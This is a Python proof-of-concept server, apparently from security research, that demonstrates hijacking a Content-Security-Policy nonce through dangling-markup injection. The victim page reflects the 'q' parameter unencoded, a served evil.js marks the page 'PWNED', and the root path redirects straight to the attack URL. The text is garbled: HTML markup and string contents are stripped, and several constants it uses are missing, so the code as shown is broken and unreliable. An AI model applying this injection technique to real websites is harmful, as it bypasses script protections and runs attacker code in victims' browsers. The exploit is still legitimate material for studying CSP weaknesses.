#!/usr/bin/env python3 """ POC server for CSP nonce hijacking via dangling for the attacker's dangling tag). Attacker payload (already URL-encoded in the default redirect for convenience): will be swallowed as the attacker's script *body* by the # tokenizer. That body is irrelevant because src= takes precedence. VICTIM_TMPL = """ victim

Search results

You searched for: {inj}

Some page content that will be eaten as script data.

waiting...

""" # Control page: same CSP, plain """ EVIL_JS = ( "window.__evil_ran__ = true;\n" "console.log('[evil.js] *** ATTACKER SCRIPT EXECUTING IN VICTIM ORIGIN ***');\n" "try { document.getElementById('out').textContent = 'PWNED via ') ATTACK_PAYLOAD = " """ class Handler(http.server.BaseHTTPRequestHandler): def _send(self, code, ctype, body, extra_headers=None): self.send_response(code) self.send_header("Content-Type", ctype) self.send_header("Cache-Control", "no-store") for k, v in (extra_headers or {}).items(): self.send_header(k, v) self.end_headers() if isinstance(body, str): body = body.encode() self.wfile.write(body) def do_GET(self): parsed = urllib.parse.urlparse(self.path) path = parsed.path qs = urllib.parse.parse_qs(parsed.query) csp = f"script-src 'nonce-{NONCE}'; style-src 'nonce-{NONCE}'" if path == "/": # Convenience: redirect straight to the attack URL. self._send(302, "text/plain", b"", {"Location": ATTACK_URL}) return if path == "/victim": inj = qs.get("q", [""])[0] # reflected RAW, no encoding (the bug precondition) body = VICTIM_TMPL.format(inj=inj, nonce=NONCE) self._send(200, "text/html; charset=utf-8", body, {"Content-Security-Policy": csp}) return if path == "/victim-style": inj = qs.get("q", [""])[0] body = VICTIM_STYLE_TMPL.format(inj=inj, nonce=NONCE) self._send(200, "text/html; charset=utf-8", body, {"Content-Security-Policy": csp}) return if path == "/control": body = CONTROL_PAGE.format(nonce=NONCE) self._send(200, "text/html; charset=utf-8", body, {"Content-Security-Policy": csp}) return if path == "/evil.js": self._send(200, "application/javascript", EVIL_JS) return if path == "/legit.css": self._send(200, "text/css", LEGIT_CSS) return self._send(404, "text/plain", b"not found") def log_message(self, fmt, *args): import sys sys.stderr.write("[server] " + (fmt % args) + "\n") if __name__ == "__main__": socketserver.TCPServer.allow_reuse_address = True with socketserver.TCPServer((HOST, PORT), Handler) as httpd: print(f"[server] listening on http://{HOST}:{PORT}") print(f"[server] attack URL: http://{HOST}:{PORT}{ATTACK_URL}") print(f"[server] control URL: http://{HOST}:{PORT}/control") httpd.serve_forever()